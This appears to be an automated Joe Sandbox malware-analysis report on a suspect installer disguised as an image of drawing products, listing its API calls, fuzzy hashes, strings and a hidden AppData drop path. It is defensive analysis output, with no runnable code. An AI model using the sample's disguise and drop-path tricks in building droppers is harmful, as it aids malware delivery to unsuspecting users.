Associated: 00000000.00000002.17896248787.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 50d40a96d24def304b4b26cf20c6df658c6444d5d293e09e435d7040471c3010
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: 2BF09BF19092A0DEF360DF688CC47063FE4E7983D5B03852AE358F6269EB3445448B19

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,?), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b859a05f267d8f7e24386100397626f1e1324677026db6f8cce1fd414392a42b
Instruction ID: c88b0ddfb076c9ac8c8172e2ede98752ab09736af03c38ff4908af3a3297ae85
Opcode Fuzzy Hash: b859a05f267d8f7e24386100397626f1e1324677026db6f8cce1fd414392a42b
Instruction Fuzzy Hash: 6CD01233B041149BCB00DBA89E4899D77A0DB44325F248637D111F11D1D6BD85416619

Function 00403ED8 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010406,00000000,00000000,00000000), ref: 00403EEA

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b90161ae8cda5cbd2de65598e29a38e6d4b8b6f2e7bfd1190cff9b69a8922c47
Instruction ID: 520eeca43096a233c1d1edcfb324fa3ae1c1311985607c8c229424cb44f36652
Opcode Fuzzy Hash: b90161ae8cda5cbd2de65598e29a38e6d4b8b6f2e7bfd1190cff9b69a8922c47
Instruction Fuzzy Hash: 29C04C716442016AEA218B519D49F0777596750701F188425B610A50D1C6B4E410D66D

Function 00403EC1 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,00000001,00403CF2), ref: 00403ECF

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 03409981cf4ee464f739a57fbc3ade95d75e68a5d1ce81eec46599a942b3d8ba
Instruction ID: 6533290ec96ace9f69d4b5d2bc7ee10b2e44395606cff802ce15a0f50474627a
Opcode Fuzzy Hash: 03409981cf4ee464f739a57fbc3ade95d75e68a5d1ce81eec46599a942b3d8ba
Instruction Fuzzy Hash: 99B01235588200BBEE224B00DD0DF457EA2F7A4701F00C024F300240F1C7B200A5DB19

Function 004030A4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DFA,?), ref: 004030B2

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00403EAE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403C8B), ref: 00403EB8

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 98b266ebdf0f3c27f3687bff4252ab036e6b5e8ad03fafb5568fabfe7cf076f6
Instruction ID: 4f3b606e1f3b2692e0293683fec327d542fd6d14cd426307677a9e2f6e263f5f
Opcode Fuzzy Hash: 98b266ebdf0f3c27f3687bff4252ab036e6b5e8ad03fafb5568fabfe7cf076f6
Instruction Fuzzy Hash: F2A01231404001EBCB018B10DF05C057F21B7503007018421E1404003486310420FF1A

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E5

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 483807046c5787cf829f1f025dfbf0267f550373e9d3267be06ec47a5de8a1ec
Instruction ID: 7c20b9ee9fc925407df665bd309881a2e76883233c2924fbfc7b34ac39994685
Opcode Fuzzy Hash: 483807046c5787cf829f1f025dfbf0267f550373e9d3267be06ec47a5de8a1ec
Instruction Fuzzy Hash: 33D0C977B141048BD750E7B8AE8995A73A8FB4132A3244833E502E11A2D579C952961D

Function 00405654 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,0040319C,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",00000020), ref: 00405661

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: cab86ad4fbbc926bf9d9c4068ad28f349fd9e0cffecbcadba0a0645dfc6f61bb
Instruction ID: 0ca2c1d1cd56b8494dfdae5d12dc8eb654283e636b180148ddf181c942f9ef5a
Opcode Fuzzy Hash: cab86ad4fbbc926bf9d9c4068ad28f349fd9e0cffecbcadba0a0645dfc6f61bb
Instruction Fuzzy Hash: 3FC08C3450C78467C62067309128C677FF0EA62301FAC8CAAF0C863250C23AA8008F2A

Non-executed Functions

Function 004042CA Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404319
SetWindowTextA.USER32(00000000,?), ref: 00404343
SHBrowseForFolderA.SHELL32(?,0079E0D0,?), ref: 004043F4
CoTaskMemFree.OLE32(00000000), ref: 004043FF
lstrcmpiA.KERNEL32(Call,Unnarcotic33 Setup: Installing), ref: 00404431
lstrcatA.KERNEL32(?,Call), ref: 0040443D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040444F

Part of subcall function 00405391: GetDlgItemTextA.USER32(?,?,00000400,00404486), ref: 004053A4

Part of subcall function 00405DE7: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E3F
Part of subcall function 00405DE7: CharNextA.USER32(?,?,?,00000000), ref: 00405E4C
Part of subcall function 00405DE7: CharNextA.USER32(?,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E51
Part of subcall function 00405DE7: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E61

GetDiskFreeSpaceA.KERNEL32(0079DCC8,?,?,0000040F,?,0079DCC8,0079DCC8,?,00000000,0079DCC8,?,?,000003FB,?), ref: 0040450A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404525
SetDlgItemTextA.USER32(00000000,00000400,0079DCB8), ref: 004045AB

Strings

A, xrefs: 004043ED
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid, xrefs: 0040441A
Call, xrefs: 0040442B, 00404430, 0040443B
Unnarcotic33 Setup: Installing, xrefs: 004043C7, 0040442A

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid$Call$Unnarcotic33 Setup: Installing
API String ID: 2246997448-3913767421
Opcode ID: d11473757895cbeea30969d5c3e3b32dd3eed759e8bcc0977622a3c2a735b34f
Instruction ID: 4ae84918bfcb19ccc062e7c66334806cf97196d40f906e8bfa3db2fe6562258c
Opcode Fuzzy Hash: d11473757895cbeea30969d5c3e3b32dd3eed759e8bcc0977622a3c2a735b34f
Instruction Fuzzy Hash: E79182B1900209ABDB10AFA5CC81BAF77B8EF85314F14447BFB15B62D1C77C9A418B69

Function 0040264F Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040265E

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 1ac19ad84c37da439677c9f8c78e0b3ae6552ebd45b2a652de7fa53404bddbf0
Instruction ID: ad23281ba59b28ec3aa51a9822d84a42962ca700f092f657026e1e1555a452f0
Opcode Fuzzy Hash: 1ac19ad84c37da439677c9f8c78e0b3ae6552ebd45b2a652de7fa53404bddbf0
Instruction Fuzzy Hash: D4F0A0326041149AD700E7B4A949AEEB778CB15324F20467FE101E20C2C6B86A859A2E

Function 004058A2 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 141filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(007A0A88,NUL,?,00000000,?,00000000,?,00405A58,?,?,00000001,00405618,?,00000000,000000F1,?), ref: 004058B2
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,00405A58,?,?,00000001,00405618,?,00000000,000000F1,?), ref: 004058D6
GetShortPathNameA.KERNEL32(00000000,007A0A88,00000400), ref: 004058DF

Part of subcall function 0040578F: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,004059A1,00000000,[Rename]), ref: 0040579F
Part of subcall function 0040578F: lstrlenA.KERNEL32(?,?,00000000,004059A1,00000000,[Rename]), ref: 004057D1

GetShortPathNameA.KERNEL32(?,007A0E88,00000400), ref: 004058FC
wsprintfA.USER32 ref: 0040591A
GetFileSize.KERNEL32(00000000,00000000,007A0E88,C0000000,?,007A0E88,?,?,?,?,?), ref: 00405955
GlobalAlloc.KERNEL32(?,0000000A), ref: 00405964
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040597E
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 004059AE
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,007A0688,00000000,-0000000A,0040936C,00000000,[Rename]), ref: 00405A04
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00405A16
GlobalFree.KERNEL32(00000000), ref: 00405A1D
CloseHandle.KERNEL32(00000000), ref: 00405A24

Part of subcall function 0040582A: GetFileAttributesA.KERNELBASE(00000003,00402C73,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,80000000,00000003), ref: 0040582E
Part of subcall function 0040582A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405850

Strings

NUL, xrefs: 004058AC
%s=%s, xrefs: 00405910
[Rename], xrefs: 00405996, 004059A8

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 3756836283-4148678300
Opcode ID: 9cbe9b5ad7652f71b3bf46850bdacea2b472ed22328456280b8c5d075f8c3f66
Instruction ID: b634479a22e8deba9b5d3b544f15de7451186434928a8d52e653b83d4df64d8e
Opcode Fuzzy Hash: 9cbe9b5ad7652f71b3bf46850bdacea2b472ed22328456280b8c5d075f8c3f66
Instruction Fuzzy Hash: 1B411671704B05AFD2206B249C89F6B7A5CEF85715F14053AFE02F62D2E67CA8018EBD

Function 1000236D Relevance: 15.1, APIs: 10, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 100023D2
GlobalAlloc.KERNEL32(?,?,?,?,?,00000000,00000001,100017D5,00000000), ref: 100023EA
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,100017D5,00000000), ref: 100023FB
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000000,00000001,100017D5,00000000), ref: 10002410
GlobalFree.KERNEL32(00000000), ref: 10002417

Part of subcall function 100012E8: lstrcpyA.KERNEL32(-1000404B,00000000,?,10001199,?,00000000), ref: 10001310

GlobalFree.KERNEL32(?), ref: 1000248E
GlobalFree.KERNEL32(00000000), ref: 100024B7

Memory Dump Source

Source File: 00000000.00000002.17896186253.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.17896153967.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896219730.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896248787.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

